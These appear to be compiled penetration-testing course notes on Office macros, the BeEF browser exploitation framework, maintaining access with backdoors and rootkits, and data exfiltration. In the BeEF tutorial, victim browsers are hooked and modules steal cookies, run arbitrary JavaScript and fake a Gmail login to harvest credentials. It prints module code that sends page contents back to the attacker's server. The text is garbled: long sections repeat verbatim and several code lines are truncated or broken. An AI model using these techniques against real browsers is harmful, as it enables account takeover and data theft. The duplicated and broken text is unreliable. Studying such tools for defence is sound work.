Thankfully, Microsoft eventually got serious about security. Office 2003 added a macro security level
feature. By default, only macros signed with a trusted certificate could run.

Modern versions of Microsoft Office are even more restrictive. Office 2013 is set to disable all macros by
default, providing a notification that the macro wasn’t allowed to run.

Since Office 2007, Macros are also much easier to detect. By default, standard Office documents are
saved with the “x” suffix. For example, .docx, .xlsx, and .pptx for Word, Excel, and PowerPoint
documents. Documents with these file extensions are not allowed to contain macros. Only documents
with a file extension ending with “m” — that’s .docm, .xlsm, and .pptm — are allowed to contain
macros.

The browser exploitation framework project overview

1. Introduction
We can categorize the BeEF social engineering framework as shown in the picture below:

We can read more about the mentioned frameworks, namely: SET (Social Engineering Framework),
BeEF, Honeyd and Cree.py, on the Infosec Institute website, where they are briefly described. .
We can use BeEF to host a malicious web site, which is then visited by the victim. The BeEF is used
to send commands that will be executed on the web browser of the victim computer. The victim
users will be added as zombies to the BeEF framework. When the attacker logs into to the BeEF
server, he can then execute the modules against the specified victim user. An attacker can execute
any module or write his own module, which enables him to execute an arbitrary command against
the victim zombie.

Among all the actions that we can execute against the hooked target web browser are also the
following actions: key logger, port scanner, browser exploitation tool, web proxy, etc.

2. BeEF
BeEF uses browser vulnerabilities to gain control of the target computer system. BeEF provides an
API that we can use to write our own module to attack the target web browser. Therefore the BeEF
provides the API that abstracts the complexity and makes possible the quick and effective creation
of modules.

2.1. Installation
First, we must download and install the browser exploitation framework. We can do that by visiting
the BeEF github webpage and execute the below commands.
To install the prerequisites, execute the below commands as root:

# apt-get install ruby1.9.1 ruby1.9.1-dev libsqlite3-dev sqlite3 sqli

1 rubygems1.8
2 # gem install bundler
3 # export PATH='$PATH:/var/lib/gems/1.8/bin'

Execute the below commands as a normal user to satisfy the rest of the dependencies:

1 # curl -L https://get.rvm.io | bash -s stable –ruby

2 # export PATH='$PATH:/usr/local/rvm/bin/'
3 # source /home/user/.rvm/scripts/rvm
4 # unset RUBYOPT && sudo env-update && gem -v

Download the BeEF framework:

1 # git clone https://github.com/beefproject/beef.git

To install the BeEF framework, we must first run the bundle command, which should install all the
missing dependencies.

1 # cd beef/
2 # bundle install

A successful installation of all dependencies should look as below:

# bundle install
1
Fetching gem metadata from http://rubygems.org/.......
2
Fetching gem metadata from http://rubygems.org/..
3
Installing addressable (2.2.8)
4
Installing ansi (1.4.3)
5
Installing daemons (1.1.9)
6
Installing data_objects (0.10.8)
7
Installing dm-core (1.2.0)
8
Installing dm-do-adapter (1.2.0)
9
Installing dm-migrations (1.2.0)
10
Installing do_sqlite3 (0.10.8) with native extensions
11
12
Installing dm-sqlite-adapter (1.2.0)

13 Installing eventmachine (0.12.10) with native extensions

14 Installing em-websocket (0.3.8)

15 Installing erubis (2.7.0)

16 Installing multipart-post (1.1.5)

17 Installing faraday (0.8.4)

18 Installing jsmin (1.0.1)

19 Installing json (1.7.5) with native extensions

20 Installing librex (0.0.68)

21 Installing msgpack (0.4.7) with native extensions
22 Installing msfrpc-client (1.0.1)
23 Installing multi_json (1.3.6)
24 Installing parseconfig (1.0.2)
25 Installing rack (1.4.1)
26 Installing rack-protection (1.2.0)
27 Installing simple_oauth (0.1.9)
28 Installing tilt (1.3.3)
29 Installing sinatra (1.3.2)
30 Installing term-ansicolor (1.0.7)
31 Installing thin (1.4.1) with native extensions
32 Installing twitter (3.6.0)
33 Using bundler (1.1.5)
34 Your bundle is complete! Use `bundle show [gemname]` to see where a
installed.

Update the BeEF framework to the latest version:

1 # ./update-beef

After all that the BeEF framework should start normally, like below:

1
# ./beef
2
[ 9:13:42][*] Browser Exploitation Framework (BeEF)
3
[ 9:13:42] | Version 0.4.3.7-alpha
4
[ 9:13:42] | Website http://beefproject.com
5
[ 9:13:42] | Run 'beef -h' for basic help.
6
7
[ 9:13:42] |_ Run 'git pull' to update to the latest revision.

8 [ 9:13:45][*] BeEF is loading. Wait a few seconds...

9 [ 9:13:53][*] 8 extensions loaded:

10 [ 9:13:53] | Autoloader

11 [ 9:13:53] | Events

12 [ 9:13:53] | Proxy

13 [ 9:13:53] | Requester

14 [ 9:13:53] | Admin UI

15 [ 9:13:53] | Console
16 [ 9:13:53] | Demos
17 [ 9:13:53] |_ XSSRays
18 [ 9:13:53][*] 122 modules enabled.
19 [ 9:13:53][*] 2 network interfaces were detected.
20 [ 9:13:53][+] running on network interface: 127.0.0.1
21 [ 9:13:53] | Hook URL: http://127.0.0.1:3000/hook.js
22 [ 9:13:53] |_ UI URL: http://127.0.0.1:3000/ui/panel
23 [ 9:13:53][+] running on network interface: 10.1.1.176
24 [ 9:13:53] | Hook URL: http://10.1.1.2:3000/hook.js
25 [ 9:13:53] |_ UI URL: http://10.1.1.2:3000/ui/panel
26 [ 9:13:53][*] RESTful API key:
8f6d1d719227a0bc6b654e5682c2d73801d3cffc
27
[ 9:13:53][*] HTTP Proxy: http://127.0.0.1:6789
[ 9:13:53][*] BeEF server started (press control+c to stop)

We can see that BeEF is up and running correctly: it’s running on all found network interfaces, so it
is accessible from everywhere (not only localhost). From the BeEF output, we can see that the user
interface panel is accessible on the URI: http://10.1.1.2:3000/ui/panel. If we visit this web page, we’re
automatically redirected to the web page: http://127.0.0.1:3000/ui/authentication, which looks like the
picture below:

Great. We’ve successfully set-up the BeEF exploitation framework. The default username and
password are beef:beef. When we’ve successfully authenticated, the below web page is presented to
us:
We can see that the web page first greets us and presents the basic information and getting started
guide about BeEF. We should read the getting started guide carefully since it provides enough
details to get started with using the BeEF framework.

2.2. Getting Started

There are two demo pages currently available in the BeEF framework and are presented below:

a. Basic Demo Page

When the web page on the above picture loads, our web browser is already hooked into the BeEF
framework and we can execute modules against it. The additional links and form are present for
demonstration purposes of the various features of the BeEF framework, which we won’t discuss
here. All that is important is that upon visiting the above web page, the browser is automatically
hooked into the BeEF framework.

b. Butcher Demo Page

This examples also automatically hooks the web browser into the BeEF framework, so no additional
steps are required. The additional elements on the web page are for demonstrating purposes only.

On the left side of the BeEF user interface panel, we can see “Online Browsers” and “Offline
Browsers”, which represent the hooked browsers, some of which are online and the others are
offline; this depends on the polling activity of the victim web browser.

The getting started web page also states that we can communicate with the hooked browser by
clicking on one of the browsers, upon which a new tab will appear and will look like the picture
below:
We can see that each new tab representing a browser has five new tabs – summarized after [1]:

 Details
Displays information about the hooked browser, which we can see in the picture above.

 Logs:
Displays log entries of current hooked browser. We can see this tab represented in the picture
below:

 Commands
Here we can execute modules against a web browser. Modules are able to execute any command
that can be achieved through Javascript. Each of the modules has an icon represented with one
of the colors listed below:

 Green : works against the target; invisible to the user.

 Orange : works against the target; visible to the user.
 Grey : must yet be verified against the target.
 Red : does not work against the target.
We can see this tab represented in the picture below. We have selected the “Browser – Hooked
Domain – Play Sound” module.

 Rider
This tab allows us to submit arbitrary HTTP requests on behalf of the hooked browser.

 XssRays
This tab can be used to check if the page where the browser is hooked is vulnerable to XSS attack.
If we right-click on the hooked browser, a menu opens giving us two options to choose from:

 Use as Proxy:
This option allows us to use the hooked browser as a proxy.

 Launch XssRays on Hooked Domain

This launches the XSS vulnerability discovery on the web page. The XssRays tab mentioned above
does the same thing, but we can use it to change options as well.

3. Conclusion
In this part we’ve installed the prerequisites for BeEF framework and BeEF itself. Afterwards we
connected to the BeEF framework in web browser and looked at the user interface and the options it
allows us to use. We also discussed how the BeEF framework should be used and what it can do.

In the next part of the tutorial we’ll look at the “Commands” tab of the user interface where all the
modules are stored.

Source: http://resources.infosecinstitute.com/beef-part-1/

1. Using the Modules

In this section we’ll describe all the available modules in the current version of the BeEF exploitation
framework. We’ll describe the most interesting modules available. All the examples in this part of the
BeEF article are presented based upon the two examples presented in the previous article: part1.

a. Get Cookie:

Retrieve the session cookie of the current web page. In the picture below we can see the actual
cookie the web page uses:

When we execute the “Get Cookie” module, we get the response in the picture below:

We can observe that the cookie BEEFHOOK is the same, therefore we’ve successfully got the
cookie.

b. Get Page HREFs

This module will retrieve HREFS from the target page. If we take a look at the source code of the
web page in question, we can see the below code:

</pre>
1 <ul>
2
<li><a href="http://beefproject.com" target="_blank">The Browser Ex
3 homepage</a></li>
4 <li><a href="http://ha.ckers.org/" target="_blank">ha.ckers.org ho
5 <li><a href="http://slashdot.org/" target="_blank">Slashdot</a></l
6 </ul>
7 <pre>

There are three links in the HTML code:

– http://beefproject.com
– http://ha.ckers.org/
– http://slashdot.org/
With this module we can extract the links from the web page. If we execute the module “Get Page
HREFs” we’ll get the response as presented in the picture below:

We can see that the result of the command contains the same links as we already pointed out.

c. Get Page HTML

This module retrieves the HTML from the current page. The response of the execution of this
module is presented in the picture below:

d. Replace HREFs

This module will rewrite all the HREF attributes with the specified URL. Let’s execute the module
with the specified URL of www.google.com. This successfully overwrites all the links in the targeted
web page. The successful response can be seen in the picture below:

If we hover the links in the web browser after we’ve executed this module, we can see that all links
point to the URL www.google.com, which is what the module did.
e. Create Alert Dialog

This is the first module that is not invisible to the user. This module sends an alert dialog to the
hooked browser. We specified “Hello!” as the alert text and executed the module. The hooked web
browser displayed what can be seen in the picture below:
The alert dialog was shown correctly.

f. Google Search

This module searched Google from the hooked browser. A successful search query is presented in
the picture below:

g. Raw JavaScript

This module sends the JavaScript code entered in the input field to be executed in the hooked
browser. Code is run inside an anonymous function and the return value is passed to the framework.

If we input the alert(“Hello World!”); return ‘Ok’; into the input field, the hooked browser will display
an alert window like in the picture below:
We can see that our JavaScript was successfully executed.

h. Detect Social Networks

This module will detect if the hooked browser is currently connected in any of the social networks
listed here: Gmail, Facebook or Twitter. The response when the user is authenticated into the
Facebook social network is presented in the picture below:

i. Google Phishing

This module will fake the Google login web page. Upon logging into the Gmail mail system, the user
credentials will be send back to the BeEF framework. When we click on the execute button, the
Gmail Google web page will appear, as shown below:
We can see that the web page looks exactly like the Gmail login web page, except the URL is
different. Upon entering the username and password test:test, we’ll receive the response into the
BeEF framework which will hold the inputted username and password:

We can see that we’ve successfully gathered the inputted credentials of the users.

2. Inner Workings of a Module

The module source code files are located in directory
/beef/modules/browser/hooked_domain/get_page_html/. This directory holds the file module.rb looks
like below:

1 class Get_page_html < BeEF::Core::Command

2
3 def post_execute
4
5 content = {}
6
7 content['head'] = @datastore['head']
8
9 content['body'] = @datastore['body']
10
11 save content
12
13 end
14
15 end

We’re creating a new class Get_page_html, which inherits from BeEF::Core::Command class. There
are also two other files in this directory. The first file is config.yaml, which is represented below, and
contains the configuration variables of the module:
beef:
1
2 module:
3
4 get_page_html:
5
6 enable: true
7
8 category: ["Browser", "Hooked Domain"]
9
10
name: "Get Page HTML"
11
12
description: "This module will retrieve the HTML from the current
13 page."
14
15 authors: ["bcoles"]
16
17 target:
18
19 working: ["ALL"]

We can see that the module is called get_page_html, it’s under the category “Browser – Hooked
Domain” and works in all target web browsers. The second file is command.js, represented below:

1 beef.execute(function() {
2
3 try {
4
 5 var html_head = document.head.innerHTML.toString();
6
7 } catch (e) {
8
9 var html_head = "Error: document has no head";
10
11 }
12
13 try {
14
15 var html_body = document.body.innerHTML.toString();
16
17 } catch (e) {
18
19 var html_body = "Error: document has no body";
20
21 }
22
23 beef.net.send("", , 'head='+html_head+'&body='+html_body);
24
25 });

This is the code that gets sent to the hooked web browser to be executed. When the code is
executed, the beef.net.send function call is used to send back the results of the executed actions.

The core.rb file contains:

1
module BeEF
2
3
module Core
4
5
end
6
7
end
8
9
# @note Includes database models - the order must be consistent othe
10 goes crazy
11
12 require 'core/main/models/user'
13
14 require 'core/main/models/commandmodule'
15
16 require 'core/main/models/hookedbrowser'
17
18 require 'core/main/models/log'
19
20 require 'core/main/models/command'
21
22 require 'core/main/models/result'
23
24 require 'core/main/models/optioncache'
25
26 require 'core/main/models/browserdetails'
27
28 # @note Include the constants
29
30 require 'core/main/constants/browsers'
31
32 require 'core/main/constants/commandmodule'
33
34 require 'core/main/constants/distributedengine'
35
36 require 'core/main/constants/os'
37
38 require 'core/main/constants/hardware'
39
40
# @note Include core modules for beef
41
42
require 'core/main/configuration'
43
44
45 require 'core/main/command'
46
47 require 'core/main/crypto'
48
49 require 'core/main/logger'

require 'core/main/migration'

# @note Include the command line parser and the banner printer

1 require 'core/main/console/commandline'
2
3 require 'core/main/console/banners'

Each module inherits from core/main/command, which is presented below:

# @note This class is the base class for all command modules in the

1
# Two instances of this object are created during the execution of c
2 module.
3
4 class Command
5
6 attr_reader :datastore, :path, :default_command_url, :beefjs_compone
7 :friendlyname
8
9 attr_accessor :zombie, :command_id, :session_id
10
11 include BeEF::Core::CommandUtils
12
13 include BeEF::Core::Constants::Browsers
14
15 include BeEF::Core::Constants::CommandModule
16
17 end

The class Command also contains various functions:

 initialize: class constructor

 pre_send: called before the instructions are sent to hooked browser
 callback: called when the hooked browser sends back results
 process_zombie_response: process the rest of the results
 needs_configuration: returns true if the command needs configurations to work
 to_json: returns information about the command in JSON format
 build_datastore: builds the datastore attribute of the command that is used to generate javascript
 build_callback_datastore: sets the datastore of the callback function
 output: the actual instructions sent to the browser
 save: saves the result received by the browser
 use: load a specific module that the command will be using
There are some other functions that we don’t need to know about: map_file_to_url, oc_value and
apply_defaults. Therefore in order to create a new module, we need to do the following things:

a. command.js

This file needs to implement the beef.execute function that contains the Javascript sent to the hooked
browser to be executed:
1 beef.execute(function() {
2
3 /* code here */
4
5 });

b. config.yaml

This file contains the configuration variables for current module. The basic file structure is like below:

1 beef:

2
3 module:

4
5 [module_name]:
6
7 enable: true
8
9 category: [category]
10
11 name: [name]
12
13 description: [description]
14
15 authors: [author]
16
17 target:
18
19 user_notify: ['ALL']

c. module.rb

This file contains the actual code of the module. Here we must create a new class that inherits
BeEF::Core::Command and performs the actions we want. The basic skeleton file should is below:

1 class [module_name] < BeEF::Core::Command

2
3 ; code
4
5 end

3. Conclusion
We’ve seen how the modules of a BeEF framework can be used to execute the desired actions.
We’ve also looked at how the modules are built and described the process necessary to build your
own module.

Source: http://resources.infosecinstitute.com/beef-part-2/

Chapter 8 Maintaining Access

Lecture 8.1 Maintaining access techniques
Introduction

Exploiting a computer, networking device, or web service is great; however, the goal of most
penetration tests is to maintain access to the compromised system. There are a number of
methodologies for maintaining access to exploited victim systems; however, the overarching conclusion
of every methodology is not to steal information but to reduce the time-consuming and exhaustive
efforts required to keep attacking the same machine over and over after it’s already been compromised.
If a security tester is working with a team, remote collocated servers or is in need of a secondary access
point for a later access to the computer system, then efforts and expectation can be easily managed and
further attacks can be more precise.

Maintaining access is a secondary art form that involves just as much, if not more, thought than the
exploitation of a system. This chapter covers the basic concepts of security testers and hackers alike use
to maintain access and keep the compromised session going. Some of the concepts presented are very
advanced. The reader should not get discouraged if reading this chapter doesn’t make sense the first
time though. This chapter ends with a section designed to keep the reader’s attention focused and help
reenforce the advanced methodologies presented.

Terminology and Core Concepts

A security tester or an IT professional may be well versed in the terminology associated with maintaining
access; however, the terms below are not just definitions, but a brief introduction to the relationship
with maintaining access and postexploitation practices.

Malware
Malware, sort for malicious software, is an overarching name for a viruses, worms, Trojans, keyloggers,
and bots. In relation to penetration testing, use of the term malware is good for reporting at an
executive level, but when involved with a technical report it is often better and more accurate to
properly classify the type of malware used to exploit the vulnerability.

Backdoors

Not to be confused with Trojan horses, a backdoor is a program that is left running on the compromised
system to facilitate later entry without having to exploit the vulnerability again and again. While most
Trojan horses contain a backdoor, a backdoor does not necessarily have to be part of a Trojan horse.
Backdoors are applications or scripts that run like a Trojan horse but do not provide any functionality to
the user of the compromised system. A backdoor can be implemented to execute as an entirely
separate program that runs on the host, attached to a cryptosystem, embedded as a rootkit, or
entwined as a piece of programming code within an authentication algorithm.

Trojan Horse

A Trojan horse, commonly referred to simply as a “Trojan,” is a malicious program that is installed onto
a host to perform a desired, or overt, function, but instead conceals and executes hidden, or covert,
programs within its code to create backdoors, run scripts, steal information, and in some cases socially
exploit untrained people into divulging personal information such as credit card numbers. The actual
difference between backdoors and trojan horses have been skewed since the first trojan horse was
possibly embedded in a game intended for the UNIVAC 1108 computer system in 1975, known as the
Pervading Animal. The word Trojan is often synonymous with backdoor due to the inherent nature of
Trojans today. Furthermore, Trojans are often confused with viruses. What makes Trojans stand apart
from being classified as viruses is that the Trojan is often a stand-alone program and does not inject
themselves into another program.

Viruses

Malicious code that infects an existing process or a file is classified as a virus. The infection from a virus
can infect files, memory space (RAM or Paged Memory), boot sectors, and hardware. There are
subclasses of viruses, resident and nonresident.

Resident

Resident viruses move into RAM space after the computer boots and then jump back out during
shutdown. These types of viruses leech onto other legitimate programs by hooking into the function
calls made between the program and operating system kernel. This is the preferred methodology for
penetration testing due to the higher likelihood of continued evasion.

Nonresident

When nonresident viruses are executed, the program searches the computer’s hard disk for an
acceptable host and then infect the file then exits from memory after execution.

Worms

Much like viruses, worms can have the same destructive force. What sets worms apart from viruses is
that worms do not need human interactions to replicate. Worms target vulnerability and then execute
commands to move from its current host to another system and continue infecting other vulnerable
systems automatically. Due to the veracious nature and incredible risk of a worm getting out beyond the
control of the security tester, worms are not typically used for penetration testing. All technical and
analytical work with worms should be conducted in a lab environment that has absolutely no access to
adjacent networks, especially the Internet.
Keyloggers

As the name suggests, keyloggers capture keystrokes from a user and feed that information back to the
security tester. Volumes of documentation and books have been written about the extensive
methodologies for creating, employing, and detecting keyloggers. The keylogger is an essential tool for a
penetration tester and is used routinely on mission engagements. However, the use of keyloggers could
violate ROE with certain companies that wish to protect the privacy of its employees, as keyloggers will
capture certain information about personal authentication mechanisms such as private email and
banking information. Be sure to check with the client for authorization for the use of keyloggers while
conducting a penetration test. If approved, use of a keylogger should be thoroughly documented in the
ROE. Any information captured by a keylogger should be kept under strict supervision and destroyed
after engagement.

There is a wide variety of keyloggers that will be covered later in this chapter.

Botnets

Bots, short for robots and sometimes referred to as zombies, are networks of computers that are
controlled by single attacker often called a bot master. Systems that are infected with viruses, Trojans,
and backdoors can be part of a bot network. The bot master (attacker) controls a master server which in
turn commands other command and control systems in different colocations that in turn pass the
commands down to the individual bots. Common uses for botnets include DoS, DDoS, spam services,
distributed brute forcing of authentication controls and passwords, and other malicious services that
steal information or socially engineer its victims. A bot network can be very small, consisting of a few

Backdoors

Not to be confused with Trojan horses, a backdoor is a program that is left running on the compromised
system to facilitate later entry without having to exploit the vulnerability again and again. While most
Trojan horses contain a backdoor, a backdoor does not necessarily have to be part of a Trojan horse.
Backdoors are applications or scripts that run like a Trojan horse but do not provide any functionality to
the user of the compromised system. A backdoor can be implemented to execute as an entirely
separate program that runs on the host, attached to a cryptosystem, embedded as a rootkit, or
entwined as a piece of programming code within an authentication algorithm.

Trojan Horse

A Trojan horse, commonly referred to simply as a “Trojan,” is a malicious program that is installed onto
a host to perform a desired, or overt, function, but instead conceals and executes hidden, or covert,
programs within its code to create backdoors, run scripts, steal information, and in some cases socially
exploit untrained people into divulging personal information such as credit card numbers. The actual
difference between backdoors and trojan horses have been skewed since the first trojan horse was
possibly embedded in a game intended for the UNIVAC 1108 computer system in 1975, known as the
Pervading Animal. The word Trojan is often synonymous with backdoor due to the inherent nature of
Trojans today. Furthermore, Trojans are often confused with viruses. What makes Trojans stand apart
from being classified as viruses is that the Trojan is often a stand-alone program and does not inject
themselves into another program.

Viruses

Malicious code that infects an existing process or a file is classified as a virus. The infection from a virus
can infect files, memory space (RAM or Paged Memory), boot sectors, and hardware. There are
subclasses of viruses, resident and nonresident.
Resident

Resident viruses move into RAM space after the computer boots and then jump back out during
shutdown. These types of viruses leech onto other legitimate programs by hooking into the function
calls made between the program and operating system kernel. This is the preferred methodology for
penetration testing due to the higher likelihood of continued evasion.

Nonresident

When nonresident viruses are executed, the program searches the computer’s hard disk for an
acceptable host and then infect the file then exits from memory after execution.

Worms

Much like viruses, worms can have the same destructive force. What sets worms apart from viruses is
that worms do not need human interactions to replicate. Worms target vulnerability and then execute
commands to move from its current host to another system and continue infecting other vulnerable
systems automatically. Due to the veracious nature and incredible risk of a worm getting out beyond the
control of the security tester, worms are not typically used for penetration testing. All technical and
analytical work with worms should be conducted in a lab environment that has absolutely no access to
adjacent networks, especially the Internet.

Keyloggers

As the name suggests, keyloggers capture keystrokes from a user and feed that information back to the
security tester. Volumes of documentation and books have been written about the extensive
methodologies for creating, employing, and detecting keyloggers. The keylogger is an essential tool for a
penetration tester and is used routinely on mission engagements. However, the use of keyloggers could
violate ROE with certain companies that wish to protect the privacy of its employees, as keyloggers will
capture certain information about personal authentication mechanisms such as private email and
banking information. Be sure to check with the client for authorization for the use of keyloggers while
conducting a penetration test. If approved, use of a keylogger should be thoroughly documented in the
ROE. Any information captured by a keylogger should be kept under strict supervision and destroyed
after engagement.

Botnets

Bots, short for robots and sometimes referred to as zombies, are networks of computers that are
controlled by single attacker often called a bot master. Systems that are infected with viruses, Trojans,
and backdoors can be part of a bot network. The bot master (attacker) controls a master server which in
turn commands other command and control systems in different colocations that in turn pass the
commands down to the individual bots. Common uses for botnets include DoS, DDoS, spam services,
distributed brute forcing of authentication controls and passwords, and other malicious services that
steal information or socially engineer its victims. A bot network can be very small, consisting of a few

The msfpayload tools works hand-in-hand with any payload listed within Metasploit. For a current listing
of payloads available, use msfpayload -l at the command line. The following steps will use the
“windows/meterpreter/reverse_https” payload. Figure 10.1 shows the output of msfpayload
{payload_name} S command. This will show the penetration tester the fields that are required to be set
while converting a payload into an executable binary file.

Source: Hacking with Kali Practical Penetration Testing Techniques

Tools and Methods for Maintaining Access

Once a pentester manages to gain access to the target system, he should work hard to keep his boat
afloat, metaphorically speaking. He can choose either to use the hijacked system as a launching-pad
(i.e., to be part of a botnet for DDoS attacks or spam campaigns), at this moment attack, scan and
exploit other systems, or keep on exploiting the current system in stealth mode. Both actions can entail
a great deal of damage. For example, the pentester could set up a sniffer to intercept all
inbound/outbound network traffic, including an FTP (file transfer protocol) and telnet sessions with
other systems, so that he will later transmit that data wherever he wants.

For those who want to remain undetected, it will be imperative to undertake further steps to secure
their presence. There are different ways through which that can happen, but typically through the
installation of hidden infrastructure for repeated and unfettered access based on backdoors, Trojan
horses, rootkits, and covert channels (section 1). When this infrastructure is all set to go, the pentester
can then proceed to exfiltrate whatever data he considers being valuable (section 2).

A backdoor or a Trojan is a convenient tool for establishing easy access into the already breached
system. A Trojan horse provides access at the application level, but to gain it, the user needs to install
the piece of malware locally. In Windows-run systems, the majority of Trojans proceed to install
themselves as a service and then run as a local system, having administrative access. Furthermore, the
pentester can mount Trojans to sneak out passwords, credentials, and any other sensitive information
stored on the system.

Much like remote access Trojans (RATs), backdoors are installed in target systems and come with built-
in upload/download functionality. They upload gathered files of interest and then rely on ports like port
53 (for DNS) and 80 and 443 (for HTTP and HTTPS, respectively) to cover up their traffic.
TrendMicro reports cyber incidents connected to attackers bypassing “the connection restriction
whenever they use HTTP to transmit data and to bypass detection. Based on [TrendMicro’s]
investigation, there are instances when attackers manually download the .ZIP file containing all
collected data.”
A covert channel is when data is being sent through secret communication tunnels. VoIP, DNS tunnels,
ICMP tunnels, and HTTP tunnels are such paths for data extraction from the inside of a network. All of
these covert channels can transport encrypted data as well.
Although detecting covert channels is not impossible, it may require considerable efforts on the part of
the victim. Network signatures, flow data analysis and protocol analysis are some of the indicators of
anomalies in the outbound traffic which a pentester wielding the right tools can come across. On top of
that, despite that protocol- or application-specific tools do not yield easily to security purposes, they
could show better results in comparison to their security-specific counterparts.
To detect a covert tunnel is one thing, but to block it is a completely different matter. Pentester can:
• block ICMP outbound at the corporate information border;
• block DNS requests to servers outside the corporate network but not to such to internal DNS
servers;
• leverage Web proxies to dispose of the HTTP tunnels;
• delay delivery for a voicemail in cases of VoIP RTR exfiltration tunneling so that he can send to
an audio processor, which will examine every packet for encoded data in a voicemail (in a similar
fashion as antispam software works).
A rootkit is a type of malware highly adept at hiding itself from a computer system. Hence, what
distinguish rootkits from other types of malware is their heightened ability to conceal themselves to
bypass the computer security measures. In effect, that is the main idea behind their creation.

Rootkits are usually loaded with the help of Trojan horses, starting on the targeted platform with “user”
level access. Once getting an initial foothold into the system under attack, they spy on passwords and
other similar login details to gain “administrator” level access. This process is called privilege escalation.
Nevertheless, the rootkits’ real “specialty” is maintaining access.
Unlike the ordinary viruses which attempt to inflict as much damage as possible for a short period,
rootkits tend to lurk in the targeted system, progressively and slowly undermining it. Prima facie the
emphasis is on the word ‘secrecy’. For example, rootkit keyloggers are designed to record the words the
victim types without his knowledge. It has plenty of time to steal sensitive information given the fact
that this malware may remain undetected, which will, in turn, increase the probability of identity theft.
In this regard, rootkits are somehow reminiscent of some forms of parasites, which enter the body but
may remain dormant for years until they muster up enough strength to overcome the immune system
from within the body.

Source: Wikipedia by User:Sven and User:Cljk

If we split a computer system into three basic layers, we end up with hardware, kernel, and operating
system level. In essence, the kernel is the core of the operating systems. Often user-level rootkits use
low-priority processes to subvert security software. Kernel-level rootkits are far stealthier and
dangerous than their other levels counterparts because of the following reasons:
• they have the ability to camouflage their presence when they add their code to portions of the
operating system’s kernel;
• they run earlier than the operating system does;
• they can circumvent encryption and create secret channels for unrestricted access to the
penetrated system;
It has been proven that to remove kernel-level and boot-level rootkits often is not that simple;
Rootkits residing in the kernel memory normally leave no trace on the hard disk. Also, they may modify
files, parts of the disk, and even alter the kernel so that they can resist reboots.
Rootkits installed at the kernel level gain full administrator access to the systems in the gunsight of the
potential attacker. Unlike Trojan horses, rootkits pave an access path (with “good intentions) right to the
operating system level.
Some advice on how to remove rootkits:

Classical security measures such as antivirus software alone usually cannot cope with the danger the
rootkits represent. As an alternative approach, you can pick one of the purpose-built programs designed
to eradicate rootkits: Malwarebytes Anti-rootkit, GMER, Sophos Anti-Rootkit, TDSSKiller, etc.

Nonetheless, sometimes such measures may prove to be ineffective, since they will succeed to alleviate
only some of the negative influence that the rootkit disseminates all over your system, without any
guarantees that these programs will be able to remove it for good. Besides anti-rootkit software, one
may initiate the “clean slate” procedure – that is, to backup the most important files and re-install the
operating system completely. Under normal circumstances, an act of this magnitude would extirpate the
rootkit. But even then there is no 100% guarantee because a very rare sort of rootkits, BIOS-level
rootkits, can survive the re-install.

No matter how hard a rootkit tries to be invisible, however, there are always signs, at least in theory (if
it is any consolation to you), because the purpose of the rootkit is to maintain an ingress path for the
outsider.

Data Exfiltration

Data exfiltration is an unauthorized transfer of data from a computer system or IT servers to an external
system or device. It can be carried out manually (similar to a ‘copy-paste’ command) or automatically via
malware spread across a network.
A 2015 McAfee report points out that 60% of all reported data exfiltration cases occurred via direct
electronic means, whereas the rest 40% involved physical media, such as downloading data to a USB
drive or stealing a laptop. A considerable part of that 40% share involved mobile phones, which is
perhaps due to the ubiquitous acceptance of bring-your-own-device policy in many corporations.
Personally, identifiable information (PII) and personal health information (PHI) were the top content
categories, followed by intellectual property and financial data.

When the data is exfiltrated electronically, it is usually through different kinds of web protocols,
tunneling protocols, email or file transfers. While the file transfer protocol (FTP) is regarded as a
standard network protocol whose purpose is to transfer files, it may also be used to facilitate data
exfiltration campaigns. Other protocols and techniques are applicable as well, for instance, routing
control packets, secure shell, peer-to-peer, instant messaging, Windows Management Instrumentation,
hiding data within video or images, and VoIP. Webcams, microphones, and similar peripheral devices
may be rigged to monitor the target’s activities. Pentester can also make use of HTTP file transfers or
the Tor anonymity network as a means to mask location and traffic.

Sometimes before the exfiltration takes place, the pentester would want to process the data to transfer
it easier outside the exploited system. Typical activities with relation to this point are compression,
encryption and password protection. Then the processed data will be uploaded from within the target
network to a server somewhere outside. Common traffic channels are a preferable route for smuggling
data out of the targeted system since the extraction will blend in with the noise of the network.

The FrameworkPOS malware is an excellent illustration of how data exfiltration works – it leverages
memory scraping techniques to dig out credit card information stored somewhere in processes running
on the endpoint. Upon finding the relevant data, the malicious software performs DNS tunneling to
connect to a command and control server to pull out the data. Furthermore, the FrameworkPOS
encodes via XOR the credit card information, hostname and IP address, and adds the encoded package
to an HTTP request to export data from the environment. This trick effectively obfuscates a firewall- and
proxy-based inspection.
Undetected data exfiltration is what wrongdoers are looking for in many cases, as the real-life
cyberattacks against Target and Home Depot demonstrate. This is so because some of the information
they steal is secret, and it is more valuable or only valuable when it stays secret.
Early detection is crucial when it comes to Advance Persistent Threats (APTs) and stopping malicious
actors from exfiltrating your data. Every organization should have an effective threat intelligence
procedure in place which will help determine all the suspicious activities that can be considered as
related to data exfiltration. The real-time local threat intelligence system should be complemented by
connecting to a global threat intelligence network to keep abreast with the latest security trends.

According to Splunk Enterprise Security some notable indicators of data exfiltration are a good starting
point for a full-blown investigation. Those indicators are:

• Unapproved port activity

• High-volume email activity to non-corporate domains

• Host sending excessive email

• Excessive DNS queries

• Web uploads to non-corporate sites by users

In essence, an effective method for prevention of data exfiltration is every method or tool enumerated
so far concerning detection and removal of basic data exfiltration elements, i.e., Trojan horses,
backdoors, rootkits and covert channels.

Source: http://resources.infosecinstitute.com/penetration-testing-maintaining-access/
Meterpreter usage

Meterpreter is an advanced, dynamically extensible payload that uses in-memory DLL injection
stagers and is extended over the network at runtime. It communicates over the stager socket and
provides a comprehensive client-side Ruby API. It features command history, tab completion, channels,
and more.

